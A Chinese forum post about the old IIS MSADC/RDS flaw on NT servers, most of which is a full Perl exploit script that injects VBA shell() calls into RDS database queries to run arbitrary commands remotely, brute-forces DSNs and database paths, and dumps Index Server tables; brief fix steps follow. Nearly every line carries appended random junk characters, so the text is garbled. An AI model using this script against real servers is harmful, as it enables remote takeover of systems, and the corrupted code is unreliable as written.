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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 8:;#,Urr  
"ORzWnE4U  
涉及程序: QEJGnl676  
Microsoft NT server :xeLt;  
*_hLD5K!  
描述: WO</Q6+  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 2wpjU&8W!  
W?,$!]0  
详细: W|c.l{A5Q  
如果你没有时间读详细内容的话,就删除: gp  
c:\Program Files\Common Files\System\Msadc\msadcs.dll #!#z5DJu  
有关的安全问题就没有了。 "e62/Ejg%  
9BON.` |_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 90:K#nW;  
tm)*2lH6  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ~t/JCxa  
关于利用ODBC远程漏洞的描述,请参看: Hhv$4;&X  
q^Tis>*u6  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -WR}m6yMr  
NrJzVGeS  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 iyM^[/-R6  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp /A(NuB<Pq  
UVX"fZ)  
这里不再论述。 IsYP0(L  
3B9nP._  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: YB!!/ SX4  
(!zM\sF  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset Z!\@%`0$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! xfHyC'?  
! Tfij(91  
oh\,OW  
#将下面这段保存为txt文件,然后: "perl -x 文件名" -CBD|fo[h  
!oMt_k X  
#!perl uEd,rEB>  
# W"sr$K2m|  
# MSADC/RDS 'usage' (aka exploit) script 0-xCp ~vE  
# gg]~2f  
# by rain.forest.puppy -J$g(sikt  
# 7kz-V.  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me TlPVHJyt  
# beta test and find errors! n(&*kfk  
sbla`6Fb  
use Socket; use Getopt::Std; Yo2Trh  
getopts("e:vd:h:XR", \%args); )!-S|s'  
Pz473d  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; {'~sS  
,IjdO(?TC  
if (!defined $args{h} && !defined $args{R}) { o/JPYBhdl  
print qq~ c^S&F9/U*  
Usage: msadc.pl -h <host> { -d <delay> -X -v } |9s wZ[  
-h <host> = host you want to scan (ip or domain) &'O?es|Lb  
-d <seconds> = delay between calls, default 1 second I'IB_YRL4  
-X = dump Index Server path table, if available !<Z{@7oH  
-v = verbose a$+#V=bA  
-e = external dictionary file for step 5 :kp0EiJ  
f5?hnt`m  
Or a -R will resume a command session ?)cJZ>$!w  
0xBY(#;Q  
~; exit;} R<g=\XO'y  
QkX@QQ T?  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Kym:J \}9B  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} [X|OrRA  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *Q/E~4AW|t  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); .BL:h&h|y  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} raQYn?[  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } w-: D  
<nA3Sd"QfV  
if (!defined $args{R}){ $ret = &has_msadc; AQ}l%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 3wNN<R  
\{>eOD_  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" f[@#7,2~M  
. "cmd /c "; :&$Xe1)i]  
$in=<STDIN>; chomp $in; 2u&c &G  
$command="cmd /c " . $in ; tc/jY]'32  
dofR)"<p,^  
if (defined $args{R}) {&load; exit;} Mf7E72{D  
l$`G:%qHj  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; :yD@5)  
&try_btcustmr; c~oe, 9  
s5.k|!K  
print "\nStep 2: Trying to make our own DSN..."; Wf1-"Q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; y''V"Be  
<4NQL*|>  
print "\nStep 3: Trying known DSNs..."; R6Pz#`n  
&known_dsn; }85#[~m'  
6QptKXu7  
print "\nStep 4: Trying known .mdbs..."; EG1x  
&known_mdb; s}!"a8hU`  
*2:Yf7rvI+  
if (defined $args{e}){ *]9XDc]{j1  
print "\nStep 5: Trying dictionary of DSN names..."; o}R|tOe  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } :eLLDp<  
*l q7t2  
print "Sorry Charley...maybe next time?\n"; },3R%?8 9%  
exit; D4\(:kF\Hg  
p,^>*/O>  
############################################################################## dh,7iQ s  
|ZuDX87  
sub sendraw { # ripped and modded from whisker | VRq$^g  
sleep($delay); # it's a DoS on the server! At least on mine... *EE|?vn  
my ($pstr)=@_; bgXc_>T6_y  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {q2<KRU2+#  
die("Socket problems\n"); Px#4pmz  
if(connect(S,pack "SnA4x8",2,80,$target)){ <M>#qd@c  
select(S); $|=1; %>]#vQ|  
print $pstr; my @in=<S>; =z%s8D2  
select(STDOUT); close(S); @f'AWeJ2  
return @in; ;@O(z*14@  
} else { die("Can't connect...\n"); }} %w%zv2d  
JgZdS-~  
############################################################################## "U{mMd!9L  
+{bh  
sub make_header { # make the HTTP request gU*I;s>  
my $msadc=<<EOT [ 1D)$"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 A'(k Yc  
User-Agent: ACTIVEDATA vev8l\  
Host: $ip :if5z2PE/  
Content-Length: $clen !j'guT&9]  
Connection: Keep-Alive l?N`V2SuR  
o}W7.7^2  
ADCClientVersion:01.06 -*5yY#fw}  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 C890+(D~  
PE +qYCpP9  
--!ADM!ROX!YOUR!WORLD! <#!8?o&i  
Content-Type: application/x-varg ,P1G ?,y  
Content-Length: $reqlen kfIbgya   
&A#90xzF  
EOT _4A&%>   
; $msadc=~s/\n/\r\n/g; ]n/jJ_[  
return $msadc;} r6/<&1[  
0$(jBnE  
############################################################################## 4>d[qr*<  
5"]aZMua  
sub make_req { # make the RDS request DwQp$l'NfW  
my ($switch, $p1, $p2)=@_; HJ(=?TU  
my $req=""; my $t1, $t2, $query, $dsn; 1W4H-/Re  
%0go%_  
if ($switch==1){ # this is the btcustmr.mdb query P}b Dn;  
$query="Select * from Customers where City=" . make_shell(); cbY3mSfn*  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .  &s_}u%iC  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 96k(X LR  
@)8NI[=6O  
elsif ($switch==2){ # this is general make table query ROcY'-  
$query="create table AZZ (B int, C varchar(10))"; I\)N\mov e  
$dsn="$p1";} +# A|Zp<  
jh-kCF  
elsif ($switch==3){ # this is general exploit table query <:H  
$query="select * from AZZ where C=" . make_shell(); X@G[=Rs  
$dsn="$p1";} ZO]E@?Oav  
)E_!rR  
elsif ($switch==4){ # attempt to hork file info from index server _p?I{1O  
$query="select path from scope()"; 3<yCe%I:  
$dsn="Provider=MSIDXS;";} </~1p~=hAt  
__Vg/C!W  
elsif ($switch==5){ # bad query XWJ0=t&}  
$query="select"; thR|h+B  
$dsn="$p1";} pPU2ar  
UX+?0K  
$t1= make_unicode($query); ,(zcl$A[  
$t2= make_unicode($dsn); 6i55Ja  
$req = "\x02\x00\x03\x00"; 4h[2C6 \+`  
$req.= "\x08\x00" . pack ("S1", length($t1)); 9Vh_XBgP  
$req.= "\x00\x00" . $t1 ; _q2`m  
$req.= "\x08\x00" . pack ("S1", length($t2)); 3BuD/bs  
$req.= "\x00\x00" . $t2 ; =2Pz$q*ub  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; &FT5w T  
return $req;} *s 1D\/H  
,<I L*=a  
##############################################################################  ||bA  
3ytx"=B%  
sub make_shell { # this makes the shell() statement 5QCw5N  
return "'|shell(\"$command\")|'";} |8b$x| B  
aA!@;rR<yU  
############################################################################## 8JFnB(3xU  
t;bZc s  
sub make_unicode { # quick little function to convert to unicode & C!g(fS  
my ($in)=@_; my $out; EVby 9!  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } XL%vO#YT  
return $out;} sf=%l10Fk#  
.CB"@.7  
############################################################################## LD7? .  
G=+!d&mbg  
sub rdo_success { # checks for RDO return success (this is kludge) R|d^M&K,  
my (@in) = @_; my $base=content_start(@in); i|:: v l  
if($in[$base]=~/multipart\/mixed/){ )L&n)w  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} y?rK5Yos  
return 0;} `Nxo0Q  
+sV#Z,  
############################################################################## c=uBT K*  
m&;zLBA;  
sub make_dsn { # this makes a DSN for us 2\kC_o97  
my @drives=("c","d","e","f"); 6ba2^3GH  
print "\nMaking DSN: "; OoA5!HEh  
foreach $drive (@drives) { +"*l2E]5  
print "$drive: "; E#WjoIk  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . rVc zO+E  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" ; +#za?w  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); o%9Ua9|RR  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 3/#R9J#  
return 0 if $2 eq "404"; # not found/doesn't exist _AsHw  
if($2 eq "200") { bRY4yT  
foreach $line (@results) { EusfgU:  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} xOX*=Wv  
} return 0;} D{3 x}5  
2*3B~"  
############################################################################## } (O D<  
NC[GtAPD3  
sub verify_exists { A(_^_p.|  
my ($page)=@_; Ra15d^  
my @results=sendraw("GET $page HTTP/1.0\n\n"); H8Z Z@@ qm  
return $results[0];} yScov)dp(  
0'`8HP  
############################################################################## '"G %0y  
""U?#<}GD  
sub try_btcustmr { 8=zM~v)   
my @drives=("c","d","e","f"); !xx> lX5  
my @dirs=("winnt","winnt35","winnt351","win","windows"); AD4L`0D  
~_^o?NE,  
foreach $dir (@dirs) { Yqz[sz5+m  
print "$dir -> "; # fun status so you can see progress ky lrf4=  
foreach $drive (@drives) { ^|hRu{Q W  
print "$drive: "; # ditto KTAe~y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; %NAFU /&  
$reqlenlen=length( "$reqlen" ); X6"^:)&1M  
$clen= 206 + $reqlenlen + $reqlen; yADN_  
(w@MlMk  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); eL$U M  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} Kr}M>hF+|  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} c#4L*$ViF  
B$[%pm`'2  
############################################################################## $y]||tX  
?}lpo; $  
sub odbc_error { O%q;,w{prW  
my (@in)=@_; my $base; J#OE}xASoA  
my $base = content_start(@in); "}~i7NBB  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this Hr8$1I$=  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SpTORR8  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; XCi]()TZ_  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; j*Wh;I+h  
return $in[$base+4].$in[$base+5].$in[$base+6];} '2q xcco  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; -aeo7C  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #SLxNAH  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} S&)) 0d  
+qW w-8  
############################################################################## qzbkxQu]g  
?GD? J(S  
sub verbose { ]OCJ~Zw  
my ($in)=@_; -L4G WJ~.-  
return if !$verbose; %F]9^C+  
print STDOUT "\n$in\n";} n4_:#L?  
oJ;O>J@c  
############################################################################## {uQ)p=  
"VVR#H}{  
sub save { ,IZxlf%  
my ($p1, $p2, $p3, $p4)=@_; gBiQIhz  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; r(2'0JQ  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; : R*^Izs=  
close OUT;} UE$[;Zg  
!7a^8   
############################################################################## &)f++(i  
/KvPiQ%  
sub load { m+8b2H:V  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; xS\QKnG.  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); W<hdb!bE  
@p=<IN>; close(IN); |I^Jn@Mq:  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 9xS`@ "`  
$target= inet_aton($ip) || die("inet_aton problems"); n#L2cv~Aj"  
print "Resuming to $ip ..."; @p` CAB  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; JE:n`l/p  
if($p[1]==1) { m ?"%&|  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; /zP)2q^  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; T _9ZI|Jx  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); $$;2jX"I  
if (rdo_success(@results)){print "Success!\n";} gwB> oi*OE  
else { print "failed\n"; verbose(odbc_error(@results));}} a:%5.!Vd  
elsif ($p[1]==3){ hv8[_p`>  
if(run_query("$p[3]")){ 7 te!>gUW  
print "Success!\n";} else { print "failed\n"; }} r-Xe<|w  
elsif ($p[1]==4){ xS-nO_t 'E  
if(run_query($drvst . "$p[3]")){ Nb9V/2c;V  
print "Success!\n"; } else { print "failed\n"; }} OVo  
exit;} ~aR='\<  
ysT!^-&p  
############################################################################## c:_i)":  
yc4f\0B/  
sub create_table { y#Sw>-zRq  
my ($in)=@_; 0B:{4Lsn&  
$reqlen=length( make_req(2,$in,"") ) - 28; |3lAye,t)a  
$reqlenlen=length( "$reqlen" ); <UHWy&+z&  
$clen= 206 + $reqlenlen + $reqlen; |b@A:8ss  
my @results=sendraw(make_header() . make_req(2,$in,"")); M=abJ4  
return 1 if rdo_success(@results); .VEfd4+ni{  
my $temp= odbc_error(@results); verbose($temp); e4H0<h }{  
return 1 if $temp=~/Table 'AZZ' already exists/; e%0#"6}  
return 0;} M|kDys  
o[r6sz:  
############################################################################## IV#f}NrfD  
`xAJy5  
sub known_dsn { xr3PO?:  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 1Y"qQp  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", Ri6 br  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", =ZIFS  
"banner", "banners", "ads", "ADCDemo", "ADCTest");  eV=sDx  
b0=AQ/:  
foreach $dSn (@dsns) { jL).B&  
print "."; T:~W.3  
next if (!is_access("DSN=$dSn"));  (mD:[|.  
if(create_table("DSN=$dSn")){ H0NyxG<  
print "$dSn successful\n"; l hp:.  
if(run_query("DSN=$dSn")){ $ rnr;V  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { q8v!{Os+#  
print "Something's borked. Use verbose next time\n";}}} print "\n";} N^`Efpvg  
cDyC&}:f  
############################################################################## J|8YB3K,  
y'wW2U/ 1-  
sub is_access { KCT"a :\  
my ($in)=@_; +Z(VWu6  
$reqlen=length( make_req(5,$in,"") ) - 28;  #X_M  
$reqlenlen=length( "$reqlen" ); {v/6|  
$clen= 206 + $reqlenlen + $reqlen; <rmV$_  
my @results=sendraw(make_header() . make_req(5,$in,"")); @<JQn^M  
my $temp= odbc_error(@results); 4DM|OL`w  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); vrx3O  
return 0;} CnA)>4E*'  
emIbGkH  
############################################################################## Pg C]@Q%  
G"sc;nT  
sub run_query { m 4LM10  
my ($in)=@_; dg8\(G  
$reqlen=length( make_req(3,$in,"") ) - 28; E?o8'r  
$reqlenlen=length( "$reqlen" ); pra&A2Y\  
$clen= 206 + $reqlenlen + $reqlen; +mv%z3"j;  
my @results=sendraw(make_header() . make_req(3,$in,"")); b#j5fEY  
return 1 if rdo_success(@results); #T`+~tW'|  
my $temp= odbc_error(@results); verbose($temp); j" .6  
return 0;} l Nto9  
L<]P K4  
############################################################################## e2ZUl` {g  
L KR,CPz  
sub known_mdb { ,R6$SrNcd  
my @drives=("c","d","e","f","g"); ZWEzL$VWi  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ) hB*Hjh  
my $dir, $drive, $mdb; <L#r6y~H  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; [6N39G$  
*j:5  
# this is sparse, because I don't know of many YL0RQa  
my @sysmdbs=( "\\catroot\\icatalog.mdb", x"De 9SB  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", SVz.d/3Y  
"\\system32\\certmdb.mdb", 3_/d=ZI\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% kO"aE~  
-e\56%\~_  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4;{CR. D  
"\\cfusion\\cfapps\\forums\\forums_.mdb", f#b[KB^Z,2  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", Nuq/_x  
"\\cfusion\\cfapps\\security\\realm_.mdb", XL9lB#v^  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", a8$pc>2E  
"\\cfusion\\database\\cfexamples.mdb", JwVv+9hh  
"\\cfusion\\database\\cfsnippets.mdb", th|Q NG  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", aX:$Q }S  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", e|y~q0Q$  
"\\cfusion\\brighttiger\\database\\cleam.mdb", w Vmy`OV/  
"\\cfusion\\database\\smpolicy.mdb", nzDY!Y  
"\\cfusion\\database\cypress.mdb", .JjuY'-Q  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ^[akB|#\9  
"\\website\\cgi-win\\dbsample.mdb", U++UG5c  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", H>9$L~  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" =Ybu_>  
); #these are just aQ\O ]gCE  
foreach $drive (@drives) { \C|06Bs $  
foreach $dir (@dirs){ e0 EJ[bG  
foreach $mdb (@sysmdbs) { F4Z0g*^x  
print "."; IQ8AsV&'C  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vj0?b/5m  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; >?<d}9X  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ YgDasKFm'  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; z"`?<A&u  
} else { print "Something's borked. Use verbose next time\n"; }}}}} %R>MSSjvr  
VvKH]>*  
foreach $drive (@drives) { `#U6`[[  
foreach $mdb (@mdbs) { +__Rk1CVh  
print "."; S0yT%V  
if(create_table($drv . $drive . $dir . $mdb)){ Jsl,r+'H  
print "\n" . $drive . $dir . $mdb . " successful\n"; +a;j>hh  
if(run_query($drv . $drive . $dir . $mdb)){ i|Wn*~yFOO  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; RJM(+5xQ|  
} else { print "Something's borked. Use verbose next time\n"; }}}} /2 N%Z  
} 5Tq 3L[T5;  
&h-1Z}  
############################################################################## kE h# 0  
H++rwVwj#h  
sub hork_idx { <Jz>e}*)  
print "\nAttempting to dump Index Server tables...\n"; XMdYted  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; 6D<A@DR9J  
$reqlen=length( make_req(4,"","") ) - 28; !$HWUxM;p  
$reqlenlen=length( "$reqlen" ); jL<.?HE  
$clen= 206 + $reqlenlen + $reqlen; X(9Ff=0.~  
my @results=sendraw2(make_header() . make_req(4,"","")); KNhH4K2iP8  
if (rdo_success(@results)){ DGnswN%n1  
my $max=@results; my $c; my %d; lLv0lf  
for($c=19; $c<$max; $c++){ {[+gM?  
$results[$c]=~s/\x00//g; LtBH4 A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ql 1# l:Q  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; EC0auB7G  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; r{_'2Z_i  
$d{"$1$2"}="";} <[bDNe["?  
foreach $c (keys %d){ print "$c\n"; } I\_R& v  
} else {print "Index server doesn't seem to be installed.\n"; }} ;z#9>99rH  
{JJ`|*H$_  
############################################################################## *(rE<  
l{4\Wn Va  
sub dsn_dict { *?K=;$  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 4=Zlsp  
while(<IN>){ _1~Sj*  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ` {p5SYj  
next if (!is_access("DSN=$dSn")); ]jYM;e  
if(create_table("DSN=$dSn")){ >J1o@0tk  
print "$dSn successful\n"; _%]H}N Q  
if(run_query("DSN=$dSn")){ ZpyRvDz  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { tznT*EQr  
print "Something's borked. Use verbose next time\n";}}} jWz-7BO  
print "\n"; close(IN);} \?Z dUY  
JcP'+@X"  
############################################################################## E:ytdaiT  
7blZAA?-  
sub sendraw2 { # ripped and modded from whisker ='FEC-f95  
sleep($delay); # it's a DoS on the server! At least on mine... <~3 a aO  
my ($pstr)=@_; [Zf<r1m  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || WBGYk);  
die("Socket problems\n"); k)J7) L  
if(connect(S,pack "SnA4x8",2,80,$target)){  E9i WGSE  
print "Connected. Getting data"; x9=lN^/4  
open(OUT,">raw.out"); my @in; -:QyWw/d  
select(S); $|=1; print $pstr; E$T#o{pai  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} _rM%N+$&d_  
close(OUT); select(STDOUT); close(S); return @in; C{D2mSS  
} else { die("Can't connect...\n"); }}  ;"3Mm$  
.&Z Vy{uP  
############################################################################## {:Q2Itsy  
!l~hO  
sub content_start { # this will take in the server headers ra3WLK  
my (@in)=@_; my $c; 8Xr3q eh+  
for ($c=1;$c<500;$c++) { K;95M^C\O*  
if($in[$c] =~/^\x0d\x0a/){ qhtc?A/0}  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )q,}jeM8  
else { return $c+1; }}} :/3`+&T^/  
return -1;} # it should never get here actually n F-FoO98  
Z6=!}a%  
############################################################################## }fA3{ Ro  
CY:pYke=  
sub funky { IO+z:D{  
my (@in)=@_; my $error=odbc_error(@in); U;31}'b  
if($error=~/ADO could not find the specified provider/){ bMZ0%(q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ~^eAS;  
exit;} o.Q9kk? L  
if($error=~/A Handler is required/){ PIA&s6U  
print "\nServer has custom handler filters (they most likely are patched)\n"; N  P"z  
exit;} ;# {x_>M  
if($error=~/specified Handler has denied Access/){ (7IF5g\  
print "\nServer has custom handler filters (they most likely are patched)\n";  LCG<  
exit;}} _YY)-H  
}LRAe3N%8  
############################################################################## U{x'@/Ld  
kB 2bT}  
sub has_msadc { ^~0 r+w61  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); .cb mCFXL  
my $base=content_start(@results); Zj JD@,j  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); zt8ZJlNK  
return 0;} C" sa.#}  
m} V,+E  
######################## [Yv5Sw  
U+ 8[Ia(t  
g N[r*:B  
解决方案: #wo_  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 4eKJ\Q=nX5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 ;8A_- $  
"[%NXan  
拿出来充数 哈哈
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